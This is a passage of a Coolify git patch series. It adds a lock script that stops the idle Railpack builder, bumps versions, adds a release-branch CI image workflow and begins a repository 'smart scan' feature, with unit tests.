tests/Unit/RailpackBuilderLockTest.php | 43 +++++++++++++++++++ versions.json | 2 +- 14 files changed, 155 insertions(+), 22 deletions(-) create mode 100644 tests/Unit/RailpackBuilderLockTest.php diff --git a/app/Actions/Application/CleanupCancelledDeployment.php b/app/Actions/Application/CleanupCancelledDeployment.php index 171e660e66..5da94db3cb 100644 --- a/app/Actions/Application/CleanupCancelledDeployment.php +++ b/app/Actions/Application/CleanupCancelledDeployment.php @@ -28,6 +28,12 @@ class CleanupCancelledDeployment if (str($containerExists)->trim()->isNotEmpty()) { instant_remote_process(["docker rm -f {$deploymentUuid}"], $server); $containerStopped = true; + + // A removed helper cannot stop the Railpack builder, which keeps the memory of its builds. + if ($deployment->application?->build_pack === 'railpack') { + $helperImage = coolifyHelperImage().':'.getHelperVersion(); + instant_remote_process([railpackBuilderHelperCommand(railpackBuildxMetadataVolume($server), $helperImage, 'true')], $server, false); + } } } catch (\Throwable $e) { $firstError ??= $e; diff --git a/app/Actions/Server/CleanupDocker.php b/app/Actions/Server/CleanupDocker.php index 201f86b367..3c0e2ba7e0 100644 --- a/app/Actions/Server/CleanupDocker.php +++ b/app/Actions/Server/CleanupDocker.php @@ -135,9 +135,6 @@ class CleanupDocker implements ShouldBeUnique $helperImageWithVersion = "$helperImage:$helperImageVersion"; $helperImageWithoutPrefix = 'coollabsio/coolify-helper'; $helperImageWithoutPrefixVersion = "coollabsio/coolify-helper:$helperImageVersion"; - $buildxMetadataVolume = isDev() && $server->isLocalhost() - ? 'coolify-buildx' - : '$HOME/.docker/buildx'; $cleanupLog = []; @@ -164,7 +161,8 @@ class CleanupDocker implements ShouldBeUnique 'docker container prune -f --filter "label=coolify.managed=true" --filter "label!=coolify.proxy=true" --filter "label!=coolify.type=database" --filter "label!=coolify.type=application" --filter "label!=coolify.type=service"', $imagePruneCmd, 'docker builder prune -af', - "docker run --rm -v {$buildxMetadataVolume}:/root/.docker/buildx -v /var/run/docker.sock:/var/run/docker.sock {$helperImageWithVersion} docker buildx prune --builder coolify-railpack -af 2>/dev/null || true", + // The prune fails on a stopped builder, so start it first. + railpackBuilderHelperCommand(railpackBuildxMetadataVolume($server), $helperImageWithVersion, 'docker buildx inspect --bootstrap coolify-railpack >/dev/null 2>&1; docker buildx prune --builder coolify-railpack -af'), "docker images --filter before=$helperImageWithVersion --filter reference=$helperImage | grep $helperImage | awk '{print $3}' | xargs -r docker rmi -f", "docker images --filter before=$helperImageWithoutPrefixVersion --filter reference=$helperImageWithoutPrefix | grep $helperImageWithoutPrefix | awk '{print $3}' | xargs -r docker rmi -f", ]; diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 07f77318a4..c822d35866 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -3350,12 +3350,20 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue return $variables; } + /** + * Without the `...` entry, the list replaces the packages that Railpack generates + * (for example libatomic1, which Node.js 25+ needs at runtime). + */ private function merge_railpack_deploy_apt_packages(Collection $variables): Collection { $packages = collect(preg_split('/\s+/', trim((string) $variables->get('RAILPACK_DEPLOY_APT_PACKAGES', ''))) ?: []) ->filter() ->values(); + if (! $packages->contains('...')) { + $packages->prepend('...'); + } + foreach (['curl', 'wget'] as $package) { if (! $packages->contains($package)) { $packages->push($package); @@ -3439,7 +3447,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue ." {$this->workdir}"; return 'DOCKER_CONFIG=/root/.docker docker buildx create --name coolify-railpack --driver docker-container 2>/dev/null || true' - .' && '.$this->wrap_build_command_with_env_export($buildxBuildCommand); + ."\n".railpackBuilderLockedScript('('.$this->wrap_build_command_with_env_export($buildxBuildCommand).')'); } private function decode_railpack_config(string $config, string $source): array diff --git a/bootstrap/helpers/docker.php b/bootstrap/helpers/docker.php index 059f55e333..2c1025b623 100644 --- a/bootstrap/helpers/docker.php +++ b/bootstrap/helpers/docker.php @@ -2109,3 +2109,37 @@ function injectDockerComposeBuildArgs(string $command, string $buildArgsString): return $modifiedCommand ?? $command; } + +/** + * Run a command that uses the Railpack BuildKit builder, then stop the builder when no other + * process uses it. An idle buildkitd keeps the memory of earlier builds until it restarts. + * + * The lock file is in the buildx metadata directory, which all helper containers of a server share. + * The script has no `&&`, `||`, pipe, or `$(`, because the sudo parser would put sudo into it. + */ +function railpackBuilderLockedScript(string $command): string +{ + return 'exec 9>/root/.docker/buildx/coolify-railpack.lock; if flock -s 9; then :; else exit $?; fi; ' + ."{$command}; status=\$?; " + .'if flock -n -x 9; then DOCKER_CONFIG=/root/.docker docker buildx stop coolify-railpack >/dev/null 2>&1; fi; ' + .'exit $status'; +} + +/** + * The buildx metadata of a server, as the `docker run -v` source that the deployment helper uses. + */ +function railpackBuildxMetadataVolume(Server $server): string +{ + return isDev() && $server->isLocalhost() ? 'coolify-buildx' : '$HOME/.docker/buildx'; +} + +/** + * Run a command for the Railpack builder from a temporary helper container, then stop the builder + * when no build uses it. + */ +function railpackBuilderHelperCommand(string $buildxMetadataVolume, string $helperImage, string $command): string +{ + $script = railpackBuilderLockedScript($command); + + return "docker run --rm -v {$buildxMetadataVolume}:/root/.docker/buildx -v /var/run/docker.sock:/var/run/docker.sock {$helperImage} bash -c '{$script}' 2>/dev/null || true"; +} diff --git a/config/constants.php b/config/constants.php index e792499c35..657d393ab6 100644 --- a/config/constants.php +++ b/config/constants.php @@ -6,8 +6,8 @@ $sshCommandTimeout = (int) env('SSH_COMMAND_TIMEOUT', 3600); return [ 'coolify' => [ 'version' => env('COOLIFY_VERSION') ?: '4.4.2', - 'helper_version' => '1.0.17', - 'railpack_version' => '0.23.0', + 'helper_version' => '1.0.18', + 'railpack_version' => '0.40.1', 'self_hosted' => env('SELF_HOSTED', true), 'autoupdate' => env('AUTOUPDATE'), 'base_config_path' => env('BASE_CONFIG_PATH', '/data/coolify'), diff --git a/docker/coolify-helper/Dockerfile b/docker/coolify-helper/Dockerfile index 1fe99f01c2..b3c068f437 100644 --- a/docker/coolify-helper/Dockerfile +++ b/docker/coolify-helper/Dockerfile @@ -12,9 +12,9 @@ ARG PACK_VERSION=0.38.2 # https://github.com/railwayapp/nixpacks/releases ARG NIXPACKS_VERSION=1.41.0 # https://github.com/railwayapp/railpack/releases -ARG RAILPACK_VERSION=0.23.0 -# https://github.com/jdx/mise/releases — must match railpack's pinned version (https://raw.githubusercontent.com/railwayapp/railpack/refs/heads/main/core/mise/version.txt) -ARG MISE_VERSION=2026.3.17 +ARG RAILPACK_VERSION=0.40.1 +# https://github.com/jdx/mise/releases — must match the version pinned at that railpack tag (https://raw.githubusercontent.com/railwayapp/railpack/v${RAILPACK_VERSION}/core/mise/version.txt) +ARG MISE_VERSION=2026.9.15 FROM quay.io/minio/aistor/mc:RELEASE.2026-09-06T02-44-40Z AS minio-client FROM ${BASE_IMAGE} AS base @@ -36,7 +36,7 @@ RUN apk upgrade --no-cache && \ RUN mkdir -p ~/.docker/cli-plugins # Install mise (musl build) at the path railpack expects (/tmp/railpack/mise/mise-VERSION). -# Railpack hardcodes a glibc mise download that fails on Alpine, so we pre-place a musl binary. +# Railpack skips its own mise download when this file exists. RUN mkdir -p /tmp/railpack/mise && \ if [[ ${TARGETPLATFORM} == 'linux/amd64' ]]; then \ curl -sSL "https://github.com/jdx/mise/releases/download/v${MISE_VERSION}/mise-v${MISE_VERSION}-linux-x64-musl.tar.gz" | tar xz && \ diff --git a/other/nightly/versions.json b/other/nightly/versions.json index a1f7ec3a90..3f4323c7ea 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -7,7 +7,7 @@ "version": "4.5-rc.1" }, "helper": { - "version": "1.0.17" + "version": "1.0.18" }, "sentinel": { "version": "1.0.2" diff --git a/tests/Feature/ApplicationDeploymentControlVarFilteringTest.php b/tests/Feature/ApplicationDeploymentControlVarFilteringTest.php index 076bbae527..6706bcda87 100644 --- a/tests/Feature/ApplicationDeploymentControlVarFilteringTest.php +++ b/tests/Feature/ApplicationDeploymentControlVarFilteringTest.php @@ -1372,7 +1372,7 @@ it('builds railpack variables from generic buildtime vars railpack vars and cool expect($variables->get('APP_ENV'))->toBe('production'); expect($variables->get('RAILPACK_NODE_VERSION'))->toBe('20'); expect($variables->get('RAILPACK_INSTALL_CMD'))->toBe('pnpm install --frozen-lockfile'); - expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('curl wget'); + expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('... curl wget'); expect($variables->get('COOLIFY_RESOURCE_UUID'))->toBe($application->uuid); expect($variables->has('NIXPACKS_NODE_VERSION'))->toBeFalse(); expect($variables->has('RUNTIME_ONLY'))->toBeFalse(); @@ -1424,7 +1424,7 @@ it('builds preview railpack variables without leaking stale nixpacks vars', func expect($variables->get('PREVIEW_BUILD_FLAG'))->toBe('enabled'); expect($variables->get('RAILPACK_NODE_VERSION'))->toBe('20'); - expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('curl wget'); + expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('... curl wget'); expect($variables->get('COOLIFY_RESOURCE_UUID'))->toBe($application->uuid); expect($variables->has('NIXPACKS_NODE_VERSION'))->toBeFalse(); expect($variables->has('PREVIEW_RUNTIME_ONLY'))->toBeFalse(); diff --git a/tests/Feature/DeploymentCancellationCleanupTest.php b/tests/Feature/DeploymentCancellationCleanupTest.php index 6912ae604a..0721fbc4d2 100644 --- a/tests/Feature/DeploymentCancellationCleanupTest.php +++ b/tests/Feature/DeploymentCancellationCleanupTest.php @@ -179,3 +179,16 @@ test('cancelling after switching to another team still cleans up and starts the assertCancelCleanupRanCorrectly($this->remoteCommands, $this->deployment); expect($queued->fresh()->status)->toBe(ApplicationDeploymentStatus::IN_PROGRESS->value); }); + +test('cancelling a Railpack deployment stops the idle Railpack builder on the build server', function (string $buildPack, bool $stopsBuilder) { + $this->application->update(['build_pack' => $buildPack]); + $this->actingAs($this->user); + + Livewire::test(DeploymentNavbar::class, ['application_deployment_queue' => $this->deployment]) + ->call('cancel'); + + expect(cancelCleanupCommandsOn($this->remoteCommands, '203.0.113.20', 'docker buildx stop coolify-railpack') !== [])->toBe($stopsBuilder); +})->with([ + 'railpack' => ['railpack', true], + 'nixpacks' => ['nixpacks', false], +]); diff --git a/tests/Unit/ApplicationDeploymentRailpackConfigTest.php b/tests/Unit/ApplicationDeploymentRailpackConfigTest.php index 168e8be881..0ba3605888 100644 --- a/tests/Unit/ApplicationDeploymentRailpackConfigTest.php +++ b/tests/Unit/ApplicationDeploymentRailpackConfigTest.php @@ -260,6 +260,23 @@ it('pins docker config while running railpack buildx commands', function () { ->toContain('DOCKER_CONFIG=/root/.docker docker buildx build --builder coolify-railpack'); }); +it('stops the railpack builder after the build when no other build uses it', function () { + [$job, $reflection] = makeRailpackDeploymentJob([ + 'uuid' => 'application-uuid', + ]); + + $command = invokeRailpackMethod($job, $reflection, 'railpack_build_command', ['coollabsio/coolify:test', collect([])]); + + $sharedLock = strpos($command, 'flock -s 9'); + $build = strpos($command, 'docker buildx build --builder coolify-railpack'); + $stop = strpos($command, 'if flock -n -x 9; then DOCKER_CONFIG=/root/.docker docker buildx stop coolify-railpack'); + + expect($sharedLock)->not->toBeFalse() + ->and($build)->toBeGreaterThan($sharedLock) + ->and($stop)->toBeGreaterThan($build) + ->and($command)->toEndWith('exit $status'); +}); + it('filters reserved docker client variables from railpack build secrets', function () { [$job, $reflection] = makeRailpackDeploymentJob([ 'uuid' => 'application-uuid', diff --git a/tests/Unit/ApplicationDeploymentRailpackEnvParityTest.php b/tests/Unit/ApplicationDeploymentRailpackEnvParityTest.php index 1dda8b8c3e..0b7d5406c9 100644 --- a/tests/Unit/ApplicationDeploymentRailpackEnvParityTest.php +++ b/tests/Unit/ApplicationDeploymentRailpackEnvParityTest.php @@ -81,13 +81,13 @@ it('generates escaped railpack env args from resolved values and includes instal 'RAILPACK_CUSTOM_FLAG' => 'hello world', 'RAILPACK_JSON' => '{"token":"abc"}', 'RAILPACK_INSTALL_CMD' => 'npm ci && npm run postinstall', - 'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget', + 'RAILPACK_DEPLOY_APT_PACKAGES' => '... curl wget', ]); expect($envArgs)->toContain("--env 'RAILPACK_NODE_VERSION=22'"); expect($envArgs)->toContain("--env 'RAILPACK_CUSTOM_FLAG=hello world'"); expect($envArgs)->toContain("--env 'RAILPACK_JSON={\"token\":\"abc\"}'"); expect($envArgs)->toContain("--env 'RAILPACK_INSTALL_CMD=npm ci && npm run postinstall'"); - expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=curl wget'"); + expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=... curl wget'"); expect($envArgs)->not->toContain('RAILPACK_NULL'); }); @@ -136,7 +136,7 @@ it('uses preview railpack environment variables for preview deployments', functi expect($variables->all())->toBe([ 'RAILPACK_PREVIEW_ONLY' => 'preview-value', - 'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget', + 'RAILPACK_DEPLOY_APT_PACKAGES' => '... curl wget', ]); }); @@ -195,7 +195,7 @@ it('merges coolify env variables into railpack build variables', function () { expect($variables->all())->toBe([ 'MY_BUILD_VAR' => 'hello', - 'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget', + 'RAILPACK_DEPLOY_APT_PACKAGES' => '... curl wget', 'COOLIFY_URL' => 'https://app.example.com', 'COOLIFY_FQDN' => 'app.example.com', 'COOLIFY_BRANCH' => 'main', @@ -209,7 +209,7 @@ it('merges coolify env variables into railpack build variables', function () { expect($envArgs)->toContain("--env 'COOLIFY_URL=https://app.example.com'"); expect($envArgs)->toContain("--env 'SOURCE_COMMIT=abc123'"); - expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=curl wget'"); + expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=... curl wget'"); expect($envArgs)->not->toContain('EMPTY_VAR'); expect($envArgs)->not->toContain('NULL_VAR'); }); @@ -257,11 +257,11 @@ it('preserves user railpack deploy apt packages while adding healthcheck tools o $method->setAccessible(true); $variables = $method->invoke($job); - expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('ffmpeg curl wget'); + expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('... ffmpeg curl wget'); $envArgsProperty = $reflection->getProperty('env_railpack_args'); $envArgsProperty->setAccessible(true); $envArgs = $envArgsProperty->getValue($job); - expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=ffmpeg curl wget'"); + expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=... ffmpeg curl wget'"); }); diff --git a/tests/Unit/ParseCommandsByLineForSudoTest.php b/tests/Unit/ParseCommandsByLineForSudoTest.php index 594ecbd046..a0ef50d1ad 100644 --- a/tests/Unit/ParseCommandsByLineForSudoTest.php +++ b/tests/Unit/ParseCommandsByLineForSudoTest.php @@ -863,3 +863,17 @@ test('parseCommandsByLineForSudo keeps pipes inside quoted strings unchanged', f expect($result[0])->toBe("sudo docker ps --format '{{.Names}} | {{.Image}}' | sudo grep app"); }); + +test('railpack builder helper command gets sudo only outside the helper script', function () { + $command = railpackBuilderHelperCommand('$HOME/.docker/buildx', 'coolify-helper:1.0.0', 'docker buildx prune --builder coolify-railpack -af'); + + $parsed = parseCommandsByLineForSudo(collect([$command]), $this->server)[0]; + + // The SSH user's shell must expand $HOME, so the line must not be wrapped in `sudo bash -c`. + expect($parsed)->toBe( + 'sudo docker run --rm -v $HOME/.docker/buildx:/root/.docker/buildx -v /var/run/docker.sock:/var/run/docker.sock coolify-helper:1.0.0' + ." bash -c 'exec 9>/root/.docker/buildx/coolify-railpack.lock; if flock -s 9; then :; else exit $?; fi; docker buildx prune --builder coolify-railpack -af; status=$?;" + .' if flock -n -x 9; then DOCKER_CONFIG=/root/.docker docker buildx stop coolify-railpack >/dev/null 2>&1; fi;' + ." exit \$status' 2>/dev/null || sudo true" + ); +}); diff --git a/tests/Unit/RailpackBuilderLockTest.php b/tests/Unit/RailpackBuilderLockTest.php new file mode 100644 index 0000000000..273104d6c4 --- /dev/null +++ b/tests/Unit/RailpackBuilderLockTest.php @@ -0,0 +1,43 @@ +run(); + + return $process; + } finally { + @unlink($directory.'/builder.lock'); + rmdir($directory); + } +} + +test('a failed shared lock prevents the builder command from running', function () { + $process = runRailpackLockScript('printf build-ran', 'flock() { return 73; }; '); + + expect($process->getExitCode())->toBe(73); + expect($process->getOutput())->toBe(''); +}); + +test('the builder stops after a failed command without hiding its exit status', function () { + $process = runRailpackLockScript('(exit 42)', 'exec 3>&1; docker() { printf stopped >&3; return 0; }; '); + + expect($process->getExitCode())->toBe(42); + expect($process->getOutput())->toBe('stopped'); +}); + +test('a held shared lock prevents stopping the builder', function () { + $process = runRailpackLockScript('printf built', 'exec 8>/root/.docker/buildx/coolify-railpack.lock; flock -s 8; docker() { exit 99; }; '); + + expect($process->getExitCode())->toBe(0); + expect($process->getOutput())->toBe('built'); +}); diff --git a/versions.json b/versions.json index a1f7ec3a90..3f4323c7ea 100644 --- a/versions.json +++ b/versions.json @@ -7,7 +7,7 @@ "version": "4.5-rc.1" }, "helper": { - "version": "1.0.17" + "version": "1.0.18" }, "sentinel": { "version": "1.0.2" From 7c5b0959035660cae1e35fdd4ba1b02e57bae1e8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 7 Oct 2026 19:35:22 +0200 Subject: [PATCH 22/24] ci: build X.Y-dev images on release branch pushes --- .../coolify-release-branch-build.yml | 144 ++++++++++++++++++ 1 file changed, 144 insertions(+) create mode 100644 .github/workflows/coolify-release-branch-build.yml diff --git a/.github/workflows/coolify-release-branch-build.yml b/.github/workflows/coolify-release-branch-build.yml new file mode 100644 index 0000000000..8b9e4bb4e6 --- /dev/null +++ b/.github/workflows/coolify-release-branch-build.yml @@ -0,0 +1,144 @@ +name: Build Coolify Release Branch + +on: + push: + branches: ["release/v*"] + paths-ignore: + - .github/workflows/coolify-helper.yml + - .github/workflows/coolify-helper-next.yml + - .github/workflows/pr-quality.yaml + - docker/coolify-helper/Dockerfile + - docker/testing-host/Dockerfile + - templates/** + - CHANGELOG.md + +permissions: + contents: read + packages: write + +concurrency: + group: coolify-release-branch-build-${{ github.ref_name }} + cancel-in-progress: false + +env: + GITHUB_REGISTRY: ghcr.io + DOCKER_REGISTRY: docker.io + IMAGE_NAME: coollabsio/coolify + +jobs: + prepare: + runs-on: ubuntu-24.04 + outputs: + dev_version: ${{ steps.version.outputs.dev_version }} + short_sha: ${{ steps.version.outputs.short_sha }} + version: ${{ steps.version.outputs.version }} + steps: + - name: Resolve version from branch name + id: version + env: + BRANCH: ${{ github.ref_name }} + run: | + if [[ ! "${BRANCH}" =~ ^release/v([0-9]+)\.([0-9]+)$ ]]; then + echo "Invalid release branch: ${BRANCH}. Expected release/vX.Y, such as release/v4.5." + exit 1 + fi + + DEV_VERSION="${BASH_REMATCH[1]}.${BASH_REMATCH[2]}-dev" + SHORT_SHA="${GITHUB_SHA::7}" + echo "dev_version=${DEV_VERSION}" >> "$GITHUB_OUTPUT" + echo "short_sha=${SHORT_SHA}" >> "$GITHUB_OUTPUT" + echo "version=${DEV_VERSION}.${SHORT_SHA}" >> "$GITHUB_OUTPUT" + + build: + needs: prepare + strategy: + matrix: + include: + - arch: amd64 + platform: linux/amd64 + runner: ubuntu-24.04 + - arch: aarch64 + platform: linux/aarch64 + runner: ubuntu-24.04-arm + runs-on: ${{ matrix.runner }} + steps: + - uses: actions/checkout@v5 + with: + persist-credentials: false + + - uses: docker/setup-buildx-action@v3 + + - name: Login to ${{ env.GITHUB_REGISTRY }} + uses: docker/login-action@v3 + with: + registry: ${{ env.GITHUB_REGISTRY }} + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Login to ${{ env.DOCKER_REGISTRY }} + uses: docker/login-action@v3 + with: + registry: ${{ env.DOCKER_REGISTRY }} + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + - name: Build and push release branch image (${{ matrix.arch }}) + uses: docker/build-push-action@v6 + with: + context: . + file: docker/production/Dockerfile + platforms: ${{ matrix.platform }} + push: true + build-args: | + COOLIFY_VERSION=${{ needs.prepare.outputs.version }} + tags: | + ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ needs.prepare.outputs.version }}-${{ matrix.arch }} + ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ needs.prepare.outputs.version }}-${{ matrix.arch }} + + publish: + needs: [prepare, build] + runs-on: ubuntu-24.04 + strategy: + matrix: + registry: [ghcr.io, docker.io] + steps: + - uses: docker/setup-buildx-action@v3 + + - name: Login to ${{ env.GITHUB_REGISTRY }} + if: matrix.registry == 'ghcr.io' + uses: docker/login-action@v3 + with: + registry: ${{ env.GITHUB_REGISTRY }} + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Login to ${{ env.DOCKER_REGISTRY }} + if: matrix.registry == 'docker.io' + uses: docker/login-action@v3 + with: + registry: ${{ env.DOCKER_REGISTRY }} + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + - name: Publish release branch manifest on ${{ matrix.registry }} + env: + REGISTRY: ${{ matrix.registry }} + DEV_VERSION: ${{ needs.prepare.outputs.dev_version }} + VERSION: ${{ needs.prepare.outputs.version }} + run: | + IMAGE="${REGISTRY}/${IMAGE_NAME}" + docker buildx imagetools create \ + "${IMAGE}:${VERSION}-amd64" \ + "${IMAGE}:${VERSION}-aarch64" \ + --tag "${IMAGE}:${VERSION}" \ + --tag "${IMAGE}:${DEV_VERSION}" + + notify: + needs: [prepare, build, publish] + if: always() + runs-on: ubuntu-24.04 + steps: + - uses: sarisia/actions-status-discord@v1 + with: + webhook: ${{ secrets.DISCORD_WEBHOOK_DEV_RELEASE_CHANNEL }} + status: ${{ contains(needs.*.result, 'failure') && 'failure' || (contains(needs.*.result, 'cancelled') && 'cancelled' || 'success') }} From 51641c05b292ca6499a12f221e430c37c43b4b48 Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Thu, 8 Oct 2026 18:30:44 +0530 Subject: [PATCH 23/24] feat: smart scan for git project creation (#8502) Co-authored-by: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> --- app/Data/RepositoryDetectionResult.php | 69 +++++ .../Project/New/GithubPrivateRepository.php | 37 ++- .../New/GithubPrivateRepositoryDeployKey.php | 19 ++ .../Project/New/PublicGitRepository.php | 26 +- app/Models/Application.php | 14 +- app/Services/RepositoryDetector.php | 129 +++++++++ app/Traits/HasRepositoryDetection.php | 273 ++++++++++++++++++ .../views/components/forms/listbox.blade.php | 30 +- resources/views/components/reicon.blade.php | 1 + ...ub-private-repository-deploy-key.blade.php | 19 ++ .../new/github-private-repository.blade.php | 19 ++ .../new/partials/env-import-modal.blade.php | 31 ++ .../new/partials/smart-scan-summary.blade.php | 73 +++++ .../new/public-git-repository.blade.php | 19 ++ tests/Feature/ListboxComponentTest.php | 18 ++ tests/Feature/RepositoryScanSecurityTest.php | 98 +++++++ tests/Unit/HasRepositoryDetectionTest.php | 152 ++++++++++ tests/Unit/RepositoryDetectionResultTest.php | 120 ++++++++ tests/Unit/RepositoryDetectorTest.php | 231 +++++++++++++++ 19 files changed, 1362 insertions(+), 16 deletions(-) create mode 100644 app/Data/RepositoryDetectionResult.php create mode 100644 app/Services/RepositoryDetector.php create mode 100644 app/Traits/HasRepositoryDetection.php create mode 100644 resources/views/livewire/project/new/partials/env-import-modal.blade.php create mode 100644 resources/views/livewire/project/new/partials/smart-scan-summary.blade.php create mode 100644 tests/Feature/RepositoryScanSecurityTest.php create mode 100644 tests/Unit/HasRepositoryDetectionTest.php create mode 100644 tests/Unit/RepositoryDetectionResultTest.php create mode 100644 tests/Unit/RepositoryDetectorTest.php diff --git a/app/Data/RepositoryDetectionResult.php b/app/Data/RepositoryDetectionResult.php new file mode 100644 index 0000000000..b0f47a0f5c --- /dev/null +++ b/app/Data/RepositoryDetectionResult.php @@ -0,0 +1,69 @@ + $dockerfiles e.g. ['Dockerfile', 'apps/api/Dockerfile'] + * @param array $dockerComposeFiles e.g. ['docker-compose.yml'] + * @param array $envFiles e.g. ['.env.example' => 'KEY=val...', '.env.dist' => null] + * @param array $dockerfilePorts e.g. ['Dockerfile' => 3000, 'apps/api/Dockerfile' => 8080] + */ + public function __construct( + public array $dockerfiles = [], + public array $dockerComposeFiles = [], + public array $envFiles = [], + public array $dockerfilePorts = [], + ) {} + + public static function none(): self + { + return new self; + } + + /** + * Build pack for the files in the base directory. Files in subdirectories are often examples, + * tests, or other services, so they do not select a build pack. + */ + public function getSuggestedBuildPack(): ?BuildPackTypes + { + if ($this->baseDirectoryFile($this->dockerComposeFiles)) { + return BuildPackTypes::DOCKERCOMPOSE; + } + + if ($this->baseDirectoryFile($this->dockerfiles)) { + return BuildPackTypes::DOCKERFILE; + } + + return null; + } + + /** + * The first file that is directly in the base directory, not in a subdirectory. + * + * @param array $files + */ + public function baseDirectoryFile(array $files): ?string + { + return collect($files)->first(fn (string $file): bool => ! str_contains($file, '/')); + } + + public function hasDockerfile(): bool + { + return count($this->dockerfiles) > 0; + } + + public function hasDockerCompose(): bool + { + return count($this->dockerComposeFiles) > 0; + } + + public function hasEnvFiles(): bool + { + return count($this->envFiles) > 0; + } +} diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index cef0cf6ac7..59dce3cf59 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -7,6 +7,7 @@ use App\Models\GithubApp; use App\Models\Project; use App\Rules\ValidGitBranch; use App\Support\ValidationPatterns; +use App\Traits\HasRepositoryDetection; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Route; @@ -16,6 +17,7 @@ use Livewire\Component; class GithubPrivateRepository extends Component { use AuthorizesRequests; + use HasRepositoryDetection; public $current_step = 'github_apps'; @@ -151,6 +153,8 @@ class GithubPrivateRepository extends Component $this->selected_branch_name = $this->branches->contains('name', $defaultBranch) ? $defaultBranch : data_get($this->branches, '0.name', 'main'); + + $this->detectRepository(); } protected function loadBranchByPage() @@ -173,6 +177,15 @@ class GithubPrivateRepository extends Component $this->branches = $this->branches->concat(collect($json)); } + protected function applicationForDetection(): Application + { + return $this->unsavedApplicationForDetection( + str($this->selected_repository_owner)->trim()->toString().'/'.str($this->selected_repository_repo)->trim()->toString(), + $this->selected_branch_name, + $this->github_app, + ); + } + public function submit() { try { @@ -205,7 +218,7 @@ class GithubPrivateRepository extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); - $application = new Application([ + $application_init = [ 'name' => generate_application_name($this->selected_repository_owner.'/'.$this->selected_repository_repo, $this->selected_branch_name), 'repository_project_id' => $this->selected_repository_id, 'git_repository' => str($this->selected_repository_owner)->trim()->toString().'/'.str($this->selected_repository_repo)->trim()->toString(), @@ -219,23 +232,31 @@ class GithubPrivateRepository extends Component 'destination_type' => $destination_class, 'source_id' => $this->github_app->id, 'source_type' => $this->github_app->getMorphClass(), - ]); + ]; + + if ($this->build_pack === 'dockerfile' || $this->build_pack === 'dockerimage') { + $application_init['health_check_enabled'] = false; + } + if ($this->build_pack === 'dockerfile' && $dockerfileLocation = $this->selectedDockerfileLocation()) { + $application_init['dockerfile_location'] = $dockerfileLocation; + } + if ($this->build_pack === 'dockercompose') { + $application_init['docker_compose_location'] = $this->docker_compose_location; + } + + $application = new Application($application_init); $application->save(); $application->settings->is_static = $this->is_static; $application->settings->save(); - if ($this->build_pack === 'dockerfile' || $this->build_pack === 'dockerimage') { - $application->health_check_enabled = false; - } - if ($this->build_pack === 'dockercompose') { - $application['docker_compose_location'] = $this->docker_compose_location; - } $fqdn = generateUrl(server: $destination->server, random: $application->uuid); $application->fqdn = $fqdn; $application->name = generate_application_name($this->selected_repository_owner.'/'.$this->selected_repository_repo, $this->selected_branch_name, $application->uuid); $application->save(); + $this->importDetectedEnvironmentVariables($application); + return redirect()->route('project.application.configuration', [ 'application_uuid' => $application->uuid, 'environment_uuid' => $environment->uuid, diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index 6af782d1cc..d55972e97d 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -10,6 +10,7 @@ use App\Models\Project; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Support\ValidationPatterns; +use App\Traits\HasRepositoryDetection; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Str; use Livewire\Component; @@ -18,6 +19,7 @@ use Spatie\Url\Url; class GithubPrivateRepositoryDeployKey extends Component { use AuthorizesRequests; + use HasRepositoryDetection; public $current_step = 'private_keys'; @@ -132,6 +134,18 @@ class GithubPrivateRepositoryDeployKey extends Component $this->current_step = 'repository'; } + protected function applicationForDetection(): Application + { + $this->get_git_source(); + + return 